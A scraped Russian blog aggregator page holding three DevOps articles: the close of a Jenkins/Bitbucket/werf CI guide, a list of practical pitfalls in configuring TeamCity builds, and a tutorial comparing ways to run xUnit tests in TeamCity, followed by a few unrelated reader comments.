Также требуется создать служебного пользователя с доступом к репозиториям, т.к. Jenkins будет обнаруживать весь репозиторий через API. Это касается настройки как для cloud-версии, так и для собственного Bitbucket-сервера.

Пример из глобальных настроек Jenkins:



Далее понадобится настроить source в Multibranch Pipeline, что происходит в интерактивном режиме. Это означает, что, когда вы добавите credentials bitbucket пользователя и имя команды или пользователя с проектами, которых мы будем работать, Jenkins найдет все доступные пользователю репозитории и позволит выбрать один из списка.

В самом репозитории мы полагались на поиск только определенных веток, т.к. не уверены, как много веток может быть, а Jenkins может надолго задуматься, если начнет исследовать каждую ветку. Это накладывает определенные ограничения, т.к. теги тоже попадают под регулярное выражение. Однако Java Regular Expressions довольно гибкие, так что большой проблемы нет.

Альтернативный путь: если есть желание совсем отделить теги от веток, можно добавить еще один абсолютно такой же Source в репозиторий и настроить его только на обнаружение тегов.

Итак, конфигурация:



После этого Jenkins с помощью сервис-аккаунта сам сходит в Bitbucket и создаст webhook:



Теперь при каждом коммите Bitbucket будет триггерить пайплайны (но только для тех веток и тегов, что мы отфильтровали) и даже посылать статус пайплайна обратно в Bitbucket в последнем столбце коммита:


Статусы кликабельные: при нажатии перекидывают в нужный пайплайн в Jenkins

Последний штрих про Jenkins, который находится за nginx proxy и работает с определенного location. Тогда нужно в основных настройках исправить его location, чтобы он сам знал, как выглядит его endpoint:



Без этого ссылки на pipeline в Bitbucket будут генерироваться некорректно.

Заключение


В статье рассмотрен вариант настройки CI с использованием Jenkins, Bitbucket и werf. Это очень общий пример, который не является панацеей для организации процесса разработки, однако даёт представление о том, как вообще подойти к построению своего CI с использованием werf.

Важная деталь: даже учитывая, что статус пайплайна отдается в Bitbucket, нам всё равно приходится ходить в Jenkins, чтобы разобрать результат в случае неудачи. Выкат по тегу через webhook, очевидно, может отрабатывать только один раз: любой откат на предыдущий тег придется делать вручную из Jenkins.

У данного подхода также есть большой плюс это гибкость. Мы буквально можем прописать в CI всё что угодно. Хотя и порог вхождения для того, чтобы понимать, как именно это сделать, чуть выше, чем у других CI-систем.

Эпилог: про werf и CI/CD в целом


Общий подход к интеграции werf с CI/CD-системами описан в документации. Вкратце рекомендуемые для любых проектов шаги сводятся к следующим:

  1. Создание временного DOCKER_CONFIG для исключения конфликтов между параллельными job'ами на одном runner'е (подробнее здесь).
  2. Выполнение авторизации Docker для используемых Docker Registry. Это может быть родная реализация Docker Registry внутри CI-системы либо какая-то сторонняя. В случае со встроенными имплементациями (к примеру, GitLab Container Registry или GitHub Docker Package) все необходимые параметры доступны среди переменных окружения. Выполнять авторизацию для альтернативных registry можно вручную на каждом runner'е или через параметры, хранящиеся в секретах (также для каждого job'а).
  3. Простановка WERF_IMAGES_REPO, WERF_STAGES_STORAGE, а также необходимых параметров, которые варьируются в зависимости от имплементации. Утилита werf должна знать, с какой реализацией работает, так как часть требует использования нативного API. Стоит отметить, что по умолчанию werf пытается определить, с какой имплементацией работает, исходя из адреса registry, но это задача часто невыполнима (и тогда требует явного указания имплементации).
  4. Простановка опций тегирования WERF_TAG_*: используя переменные окружения CI, определяем, чем инициирован текущий job, и выбираем подходящую опцию тегирования или всегда используем content-based тегирование (рекомендованный путь).
  5. Использование окружения CI-системы для последующего использования при выкате. Для понимания environment в GitLab.
  6. Простановка автоматических аннотаций для всех выкатываемых ресурсов WERF_ADD_ANNOTATION_*. Среди этих аннотаций могут быть произвольные данные, которые помогут вам работать и отлаживать ресурсы приложения в Kubernetes. Мы пришли к тому, что все ресурсы должны содержать следующий набор:
    1. WERF_ADD_ANNOTATION_PROJECT_GIT адрес проекта в Git;
    2. WERF_ADD_ANNOTATION_CI_COMMIT коммит, соответствующий выкату;
    3. WERF_ADD_ANNOTATION_JOB или WERF_ADD_ANNOTATION_PIPELINE адрес job или pipeline (зависит от CI-системы и желания), который связан с выкатом.
  7. Простановка по умолчанию комфортной работы с логом werf:
    1. WERF_LOG_COLOR_MODE=on включение цветного вывода (werf запускается не в интерактивном терминале, по умолчанию цвета отключены);
    2. WERF_LOG_PROJECT_DIR=1 вывод полного пути директории проекта;
    3. WERF_LOG_TERMINAL_WIDTH=95 установка ширины вывода (werf запускается не в интерактивном терминале, по умолчанию ширина равна 140).

За время применения werf в большом количестве проектов у нас сформировался набор решений, который унифицирует конфигурацию, решает общие проблемы и делает сопровождение проще и нагляднее. В настоящий момент все описанные выше шаги с учетом этих решений уже встроены в команду werf ci-env для GitLab CI/CD и GitHub Actions. Пользователям других CI-систем необходимо реализовывать аналогичные действия самостоятельно подобно тому, как описано в этой статье для примера с Jenkins.

P.S.


Читайте также в нашем блоге:

Подробнее..

Нюансы использования TeamCity

20.12.2020 12:12:18 | Автор: admin

Картинка


Всем привет.


Статья написана в простом стиле "DevOps для домохозяек" от таких же домохозяек. В ней будет описано с какими неожиданностями можно столкнуться при настройке проекта в TeamCity. Также приведу рекомендации как эти проблемы можно обойти.


Нижеописанное основано на моём двухлетнем опыте настройке TeamCity сборок, чтению баг репортов и обмене мнений с коллегами по цеху. Не претендую на истину в последней инстанции, так как в работе в основном использовался подход SDD (Stackoverflow Driven Development).


Небольшая справка:


  • TeamCity CI (Continous Integration) инструмент. "Аналог" Gitlab CI, Github Actions с прицелом на возможность полной настройки автоматизации из графического интерфейса.
  • Проект (Project) агрегирующая сущность, в неё связываются несколько сборок. В TeamCity древовидная структура проект->подпроект->сборка с частичным наследованием настроек.
  • Сборка (Build) Атомарная сущность автоматизации. Примеры сборок "Запуск автотестов", "Установка конфигурации", "Сборка дистрибутива". Каждая сборка состоит из нескольких шагов.
  • Шаг (Build step) Описание "а что нужно делать" используя разные "runner type". Это может быть как простой Bash скрипт, так и запуск Docker контейнера.

Вкратце по проекту TeamCity с которым я работаю:


  • ~30 сборок, шаги сборок состоят из вызовов Bash, Ansible и Python.
  • Никаких сборок Android приложений, Web проектов, Docker, k8s и прочего. Просто заказ облачных серверов, подъем базы данных из дампа, установка программ и конфигурации.
  • Настройка ведётся из графического интерфейса, без Kotlin DSL (переход на него в планах).

Про достоинства инструмента я думаю можно почитать в официальной документации и маркетинговых материалах, нет смысла их здесь повторять. Перейдём сразу к "нюансам".


1 Нельзя изменить параметры сборки при запуске по триггеру


Сборки можно запускать по триггеру (внешнему событию). Триггеры могут быть разные: была завершена другая сборка, обновилась git ветка, cron задача. При этом в сборке можно задать параметры по умолчанию.


Так вот: запуск по триггеру можно сделать только с параметрами по умолчанию. На эту проблему есть нерешённая задача 2008 года.


Опишу простой пример, на котором можно понять масштаб проблемы: у нас есть сборка по поднятию стенда и сборка по запуску автотестов на стенде. Вторая сборка получает на вход имя стенда и прогоняет автотесты. Первую сборку нужно запустить 1 раз, чтобы получить 1 стенд. Вторую сборку нужно запускать часто, чтобы понимать в каком состоянии стенд. Ииии такую простую штуку нельзя сделать.


Но мне возразят, что нужно использовать build chain (цепочку сборок). Окей, давайте посмотрим что там не так.


2 Build chain or not просто скопируй ещё сборки


В случае вышеописанного кейса (заказ стенда + прогон автотестов) мы настраиваем build chain. В таком случае если нам нужен стенд, то мы его получаем из сборки запуска автотестов. Интуитивно понятно, не правда ли?


Но тут приходит другая проблема: а как ещё раз запустить сборку автотестов (мы же её запускаем периодически для каждого стенда). Иииии никак. Ну точнее можно, но тогда будет заказан ещё один стенд (если у вас не решён полностью вопрос с идемпотентностью). Или нужно указать во вкладке зависимостей, что не запускай зависимую сборку ещё раз.


Но как тогда брать имя стенда, на котором запускать автотесты? Если у нас две сборки отдельных, то мы указываем имя в параметрах. Если цепочка сборок то проще всего использовать артефакт. А теперь если мы желаем запускать и отдельно, и вместе, то нужен специальный огород, который будет это всё обрабатывать. Осталось только представить, как будет "интересно" настраивать такой огород, когда у нас появится две разные сборки на заказ стенда (заказ идёт в разных облаках, разные программы), а сборка с запуском автотестов будет одна.


К сожалению, я не смог найти "пруфов" решения, которое предлагают разработчики, но если мне не изменяет память оно было такое: для каждого случая создавайте отдельную сборку. По мне это решение приводит к дублированию кода и больше похоже на костыль. Итого можно констатировать: нельзя сделать так, чтобы одну сборку можно было запустить и в цепочке и отдельно.


3 Переопределение параметров зависимой сборки


Рассмотрим другой пример: у нас есть три зависимые последовательные сборки, которые связаны в build chain. Скажем заказ в облаке стенда, установка дампа базы данных и установка программ. Мы "интуитивно" запускаем сборку по установке программ и возникает вопрос: а как пробросить размер заказываемой машины в зависимой сборке? И тут нам на помощь приходит переопределение параметров.


Теперь у нас в одном диалоговом окне по запуску сборке возникает 3*N параметров, которые никак не отличаются друг от друга. Ещё стоит учитывать, что описание и параметры по умолчанию таких параметров не копируются, их нужно копировать отдельно. Особенно это "радует", когда эти описания и значения меняются. Их тогда нужно будет обновлять в N местах, если сборки можно вызывать из разных мест как в нашем случае. Например, нужен человеку только стенд с дампом базы данных, он тогда вправе заказать его со второй сборки. А там в параметрах версия дампа устаревшая, в отличие от последней сборки цепочки, и пойдёт разбор полётов на полдня почему дамп кривой.


И конечно тут не будет никакой валидации, что вы не ошиблись в имени переопределяемого параметра, всё в лучших традициях YAML Developer'ов.


4 Конфигурация сборки может быть только одна


Проблема не относится к Kotlin DSL (у меня нет опыта его использования, не могу сказать насколько эта проблема действительно решается). Если мы настраиваем сборки в графическом интерфейсе как настоящие домохозяйки, то сталкиваемся со следующей проблемой: а как плавно поменять настройки проекта, так чтобы это не коснулось пользователей?


Первый и самый простой вариант: объявить технологические работы и править "на горячую". Второй вариант: скопировать сборку в отдельное место и делать изменения в ней (наш вариант).


Потом нужно после внесения изменения в основную ветку кода и в сборке как-то проинформировать всех пользователей, чтобы они обновили свою ветку кода. В общем не будьте как мы используйте Kotlin DSL.


Рекомендация: не архивируйте/удаляйте старые сборки, а обновляете их после внесения изменений в основную ветку кода. Всегда найдутся люди, у которых ссылки на сборки хранятся где-то в закладках и если вы поменяется ID сборки, то все ссылки побьются.


5 TeamCity API


Я думаю многие здесь знакомы с "главными" 4 метриками DevOps. И TeamCity кажется идеальным местом, чтобы собрать всю информацию хотя бы о половине из них ("Deployment Frequency" и "Lead Time for Changes").


Иии вот нельзя в API быстро узнать процент упавших сборок, частоту запуска и причины падения. Да, там есть какие-то дашборды, но информация в них именно та, которая не нужна. То есть вот начали у нас падать все сборки на основной ветке, и мы можем только вручную "Assign investigation", либо придумывать как реализовывать такой инструмент в каждой сборке. Не очень удобно.


Однако, в чём хорош API так это в формировании build chain из-за вышеперечисленных недостатков с "нативным" способом. В таком случае можно сборки создавать для независимого запуска. А их связывание делать в отдельной сборке с запуском тупого Python скрипта. И много кто так обходит проблему.


6 При запуске Bash скрипта проверяется только результат последней команды


Есть у нас простой скрипт, написанный в интерфейсе:


./command_1.sh # always faills # always success

В таком случае этот шаг сборки будет всегда зелёный. Но если мы добавим мантру:


./command_1.sh # always failif [ $? -ne 0 ]; then  echo "##teamcity[buildProblem description='Build failed']"fils # always success

И тогда уже шаг будет красным, и сборка дальше не пойдёт (тут уже как выставлен "Execute step"). Иными словами, всегда нужно учитывать особенность работы Bash скриптов.


7 Работа с шифрованными параметрами сборки


В TeamCity можно добавить параметры-секреты, такие как пароли и API ключи. Чтобы такие данные не утекли, в логах сборки ищутся значения таких параметров и заменяются на символы *. И возникает следующий нюанс: а если нам эти параметры нужно записать в другой файл. Команда echo в таком случае не сработает фильтр перехватит. В итоге мы пришли к следующему варианту:


cat > constants.json <<- EOM{    "key": "%value%"}EOM

Задача, в которой это понадобилась, была следующая. Есть Python скрипт, который выполняет запросы к нескольким системам, и вся его конфигурация сохранена в JSON. Как к нему подать секреты? Можно через командную строку, но тогда у нас растекается конфигурация сразу по четырём местам: JSON, командная строка, значение по умолчанию в скрипте и ещё значение по умолчанию в параметре TeamCity. Поскольку скрипт должен быть тупым и одноразовым, то решили максимально упростить: всю конфигурацию втащить в JSON. JSON прям с вписанными именами параметров TeamCity сохраняем в репозиторий и копируем как есть в шаг сборки. В итоге мы сразу формируем нужный JSON и не разбираемся какой параметр, где нужен.


8 Скорость прогрузки графического интерфейса


Это будет очень субъективный пункт. Поскольку основная работа по настройке проводится в интерфейсе (для тех кто не пользуется связкой Kotlin DSL + TeamCity API), то производительность работы пропорционально скорости работы этого интерфейса. А он ооочень медленный. Я постарался в меру своих интеллектуальных способностей замерить скорость прогрузки и вот какие цифры получил (был использован браузер Firefox и инструмент Network).


  • Загрузка окно проекта со всеми сборками и вызов окна запуска сборки
    • load: 9.87 s
    • DOMContentLoaded: 4.92 s
    • Finish: 34.39 s
    • Size/transferred size of all requests: 10.69 MB / 2.42 MB
    • Requests: 345
  • Загрузка окна отдельной сборки и вызов окна запуска сборки
    • load: 4.59 s
    • DOMContentLoaded: 1.27 s
    • Finish: 27.42 s
    • Size/transferred size of all requests: 11.53 MB / 2.23 MB
    • Requests: 120

Время Finish до момента как у меня появляется возможность запустить сборку. Так как после этого ещё в фоне прогружается страница и идут запросы. Полминуты чтобы просто запустить одну сборку, неплохо?


9 Информация по упавшей сборке


Это будет ещё один субъективный пункт. Для каждой сборки есть вкладка Overview. В ней в случае падения сборки указывается ошибка. И эта ошибка в 99% случаев определяется неправильно. В нашем случае (может у кого по-другому) ошибка определяется как "первое, что попало в stderr", хотя было бы логичнее сделать "последнее, что попало в stderr". В случае Ansible это всегда будет какой-нибудь "WARNING: Deprecation setting...". И в итоге это вызывает стабильный поток вопросов у людей слабо знакомых с TeamCity. Пусть лучше вообще там ничего не писалось.


10 Вечные проблемы с агентами


Здесь я бы хотел написать про все проблемы, которые связанные с агентами сборки (Build agents). Как известно в TeamCity есть master сервер, который выполняет роль планировщика, а сами сборки запускаются на отдельных серверах. И нужно уметь правильно с этими агентами работать (обслуживать), TeamCity тут мало что может сделать.


Первая проблема удаление агентов. У агентов чаще всего есть какой-то срок жизни, их лучше не делать долгоживущими, иначе потом появляется дрейф конфигурации. Например, кто-то поменял JAVA_HOME и понеслось. И вот это удаление может прилетать вообще неожиданно. Планировщик выдал агента для тяжеловесной ночной десятичасовой сборки. Но ночью чаще всего проводятся все работы по обслуживанию и какой-то сервис, не проверив что там с агентом просто его грохает. Мы так и не победили эту проблему (администрированием TeamCity занимается отдельная "команда").


Вторая проблема закончившееся место на агенте, либо неработающая базовая утилита. Пересекается с первым пунктом, но тут "веселее". Запускаем сборку, на самом первом шаге это всё падает и агент снова бодро готов браться за новую работу. Мы раздражённо запускаем сборку заново и по великому везению попадается тот самый агент и по новой. "Но у нас же есть великая настройка по выбору агента!" скажете вы и будете правы. Только один нюанс: а если у нас build chain? Тутуту руру тутуту, а оказывается, что выбрать агент можно только на текущую сборку, на зависимые может браться какой угодно и мы знаем какой будет выбран по закону подлости. Но это в случае, если вы не выставили при установке зависимой сборки "Run build on the same agent". Но вы же выставили, правда?


Третья проблема дрейф конфигурации на агентах. На агентах должно быть неизменяемое окружение (то, что не должно быть root прав, я думаю объяснять не надо). Кто-то поменял переменную окружения, поменял локальные пути до утилит и понеслось. Начинаешь после каждого такого случая перестраховываться и потом у тебя 90% сборки это подготовка агента к твоему print("Hello, World!").


И конечно зайти на агент и интерактивно разбираться в чём там проблема не получится (в моём конкретном случае). Ещё лучше, когда на локальном линуксе всё отрабатывает. В общем "кто дебажил непонятную проблему на билд агентах тот в цирке не смеётся".

Подробнее..
Категории: Системы сборки , Ci , Devops , Teamcity

XUnit тестирование в TeamCity

15.01.2021 14:04:54 | Автор: admin

Microsoft активно развивает свои проекты с открытым кодом, например, ASP.NET Core или MSBuild. Вместе с этим набирает популярность и тестовый фреймворк xUnit, используемый в них для модульного тестирования. В этой статье мы рассмотрим несколько способов запуска xUnit-тестов для непрерывной интеграции проекта средствами TeamCity.


Примеры конфигураций сборки можно найти на этом демо-сервере TeamCity, а исходный код лежит в этом репозитории: Lib это код тестируемого приложения, а Lib.Tests проект с тестами. Оба этих проекта нацелены на .NET версий net472 и netcoreapp2.1.


Для поддержки xUnit, в тестовом проекте задана NuGet-зависимость на соответствующий пакет xunit:


<PackageReference Include="xunit"/>


Этот мета-пакет не содержит бинарных файлов, а добавляет несколько зависимостей на NuGet-пакеты xunit.core, xunit.assert и xunit.analyzers. Это тестовое API xUnit. Каждый тестовый метод в xUnit помечается атрибутом [Fact] для обычных тестов или [Theory] для параметризованных тестов. Обычно, каждому тестируемому модулю соответствует свой тестовый класс с набором тестовых методов, проверяющих ту или иную логику. Каждому тестируемому проекту соответствует свой тестовый проект.


Когда мы меняем код в рамках непрерывной интеграции проекта, TeamCity автоматически собирает его и проводит модульное тестирование. Чтобы этот процесс заработал, необходимо настроить соответствующую конфигурацию сборки. TeamCity предоставляет множество способов сделать это, но мы рассмотрим лишь некоторые из них. Эти способы перечислены по мере упрощения подхода к тестированию: от настройки всех шагов вручную до самого удобного подхода, при котором TeamCity берет на себя решение большинства задач.


xUnit console runner


В простейшем случае, выполнить тесты можно утилитой xunit.console, из пакета xunit.runner.console. Формат запуска тестов типичен для подобных инструментов: набор тестовых сборок, фильтры для тестов, формат отчета и прочее. Кажущаяся простота использования этого подхода скрывает несколько нюансов:


  1. Где взять xunit.console на агенте TeamCity, чтобы потом использовать его для запуска тестов?
  2. Какую версию xunit.console выбрать? Пакет xunit.runner.console содержит набор исполняемых файлов для разных версий .NET.
  3. Как быть, если нужно выполнить тесты в нескольких сборках одного тестового проекта, созданных для разных версий .NET?
  4. Как настроить сбор статистики покрытия кода? Эта статистика, конечно, не может полностью отражать качество модульного тестирования, но она может быть полезной для обнаружения кода, непокрытого тестами.
  5. Какие параметры использовать для тестовой утилиты и для сбора статистики покрытия кода?
  6. Как передать результаты тестов и статистику покрытия в TeamCity?

Рассмотрим пример конфигурации сборки TeamCity, содержащей 5 шагов, в каждом из которых мы используем ранер .NET:


image


Первым шагом решаем вопрос (1): Где взять xunit.console?:


image


Этот шаг использует команду .NET, чтобы добавить зависимость на пакет xunit.runner.console в тестовый проект Lib.Tests. При восстановлении зависимости на шаге 2 утилита xunit.console появится на агенте TeamCity. Если есть несколько тестовых проектов, то зависимость можно будет добавить только в один. Но как определить точный путь к xunit.console после его загрузки? Если ничего не предпринять, пакет будет загружен в стандартную директорию кэша NuGet-пакетов:

  • в Windows: %userprofile%\.nuget\packages
  • на Mac/Linux: ~/.nuget/packages

Эти пути известны, но они зависят от операционной системы, от аккаунта, под которым запущен агент TeamCity, и от персональных настроек среды окружения для этого аккаунта. Условия могут меняться от агента к агенту. Чтобы быть уверенным, по какому пути найдется xunit.console, лучше задать переменную среды окружения NUGET_PACKAGES со значением %teamcity.build.checkoutDir%/packages. Эта переменная определяет, где появятся NuGet-пакеты после восстановления зависимостей на следующем шаге сборки. В этом примере она указывает на произвольную директорию packages, относительно корневой директории проекта. Вот как это выглядит на странице редактирования параметров:


image


Благодаря этой переменной окружения, путь к xunit.console больше не зависит от внешних факторов. Следующий шаг довольно прост. Он строит решение (solution), восстанавливая зависимости:


image


После его выполнения, в директорию packages добавятся NuGet-пакеты всех зависимостей, включая xunit.runner.console, а в директорию Lib.Tests/bin/Debug тестовые сборки, соответствующие целевым версиям .NET. И если версия тестовой сборки в директории Lib.Tests/bin/Debug/net472 уже готова для выполнения тестов, то директория Lib.Tests/bin/Debug/netcoreapp2.1 для .NET CoreApp 2.1 не содержит всех требуемых бинарных зависимостей. Вместо этого, в ней присутствуют _JSON-_файлы с описанием того, где найти эти бинарные зависимости. Шаг 3 собирает всё вместе для приложений .NET CoreApp 2.1:


image


После выполнения этого шага можно подвести промежуточный итог: тесты готовы к запуску. Тестовые сборки со всеми зависимостями находятся в директориях:


  • Lib.Tests/bin/Debug/net472
  • Lib.Tests/bin/Debug/netcoreapp2.1/publish

Необходимые для запуска тестов утилиты xunit.console соответственно находятся в:


  • packages/xunit.runner.console/**/net472/xunit.console.exe
  • packages/xunit.runner.console/**/netcoreapp1.0/xunit.console.dll

где ** версия пакета xunit.runner.console.


Вопросы (1) и (2) решены. Для решения вопроса (3) необходимо добавить два шага, выполняющих тесты для двух версии .NET. Потенциально, количество целевых версий тестовых проектов .NET может быть довольно большим, поэтому и шагов тестирования с похожим набором параметров тоже может быть много. Эту проблему можно решить, например, с помощью PowerShell-скрипта или TeamCity Kotlin DSL. С вопросами (4) и (5), в общем случае, приходится разбираться самостоятельно, но, использовав команду .NET, мы получим следующие преимущества:

  • статистику покрытия кода с передачей параметров, кроссплатформенностью и всеми отчетами
  • автоматический запуск xunit.console.dll и _xunit.console.exe _подходящим способом, в зависимости от выбранного окружения (ОС, Docker, и т.д.)

Следующие два шага выполняют тесты командой .NET:

image


image


Открытым остался последний вопрос (6): Как передать результаты тестов TeamCity?. xunit.console делает это самостоятельно, полагаясь на переменную среды окружения _TEAMCITY_PROJECTNAME, которую агент TeamCity автоматически добавляет ко всем порожденным процессам. xunit.console передает результаты тестов, используя TeamCity service messages.


Хотя все вопросы и решены, но было бы здорово, если бы настройка тестов не занимала столько времени и усилий. В какой-то момент энтузиасты попытались уменьшить количество шагов конфигурации, используя механизм TeamCity Meta-Runner.


Meta-Runners Power Pack


Пакет TeamCity мета-ранеров Power Pack содержит мета-ранер xUnit.net-dotCover, который упрощает запуск xUnit-тестов и сбор статистики покрытия кода. Пример конфигурации сборки с его использованием содержит всего два шага:


image


Здесь первый шаг идентичен шагу (2) из предыдущего подхода. Второй шаг, на основе мета-ранера, запускает тесты и выглядит внушительно:


image


Этот шаг получает xunit.console из того же NuGet-пакета xunit.runner.console и запускает тесты сборок только для полных версий .NET Framework (в нашем случае .NET Framework 4.72), попутно собирая статистику покрытия кода. Он заменяет 2 шага скачивания xunit.console и запуска тестов по сравнению с предыдущим подходом.


Недостатки мета-ранера xUnit.net-dotCover:


  • Не может запускать тесты в тестовых проектах, собранных для .NET Core и .NET 5+.
  • Пользовательский интерфейс для передачи параметров dotCover не очень нагляден.
  • Нужно самостоятельно выбирать версию xunit.console в поле Xunit Runner Executable.

Очевидно, что мета-ранер не подходит для нашего случая, но, тем не менее, является рабочим решением для тестовых проектов, нацеленных на полные версии .NET Framework.


dotnet test


.NET Runner с командой test является самым простым, надежным и мощным способом тестировать .NET код в TeamCity. Наша задача решается всего лишь одним простым шагом конфигурации:


image


Такой подход имеет следующие преимущества:


  • Он не зависит от фреймворков тестирования: xUnit, NUint и других. Можно использовать и несколько одновременно.


  • Тесты могут выполняться для всех тестовых сборок решения или нескольких решений, для одного или нескольких проектов.


  • Можно запускать тесты для определенной версии .NET или для набора версий в многоцелевых проектах с использованием элемента TargetFrameworks, включая Full .NET Framework, .NET Core и .NET 5+.


  • Поддерживается тестирование в Docker-контейнерах.


  • Кросс-платформенный сбор статистики покрытия кода.



Если тестовый проект создан в средах разработки Visual Studio или Rider или с использованием шаблонов из командной строки dotnet new, например, dotnet new xunit -o Lib.Tests, то ничего дополнительного делать не нужно. Если же тестовый проект создается в "блокноте", то, помимо зависимости xunit, дополнительно нужно добавить зависимость на пакет Microsoft.NET.Test.Sdk и на тестовый адаптер xunit.runner.visualstudio:


<PackageReference Include="Microsoft.NET.Test.Sdk"/>


<PackageReference Include="xunit.runner.visualstudio"/>


Пакет Microsoft.NET.Test.Sdk содержит набор свойств и скриптов MSBuild, которые делают проект тестовым, а тестовый адаптер отвечает за интеграцию определенного тестового фреймворка: в нашем случае xunit.runner.visualstudio, с Visual Studio Test Platform. Другие фреймворки также имеют свои адаптеры, например, NUnit NUnit3TestAdapter, а MSTest MSTest.TestAdapter.


Мы рекомендуем использовать именно этот подход для тестирования вместе с xUnit и другими тестовыми фреймворками.


Надеемся, эта информация поможет вам оптимизировать модульное тестирование ваших проектов! TeamCity можно бесплатно установить у себя на машине, а весь исходный код нашего демо доступен в этом репозитории. Если вы хотите узнать больше об интеграции TeamCity с .NET, читайте наш предыдущий пост.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru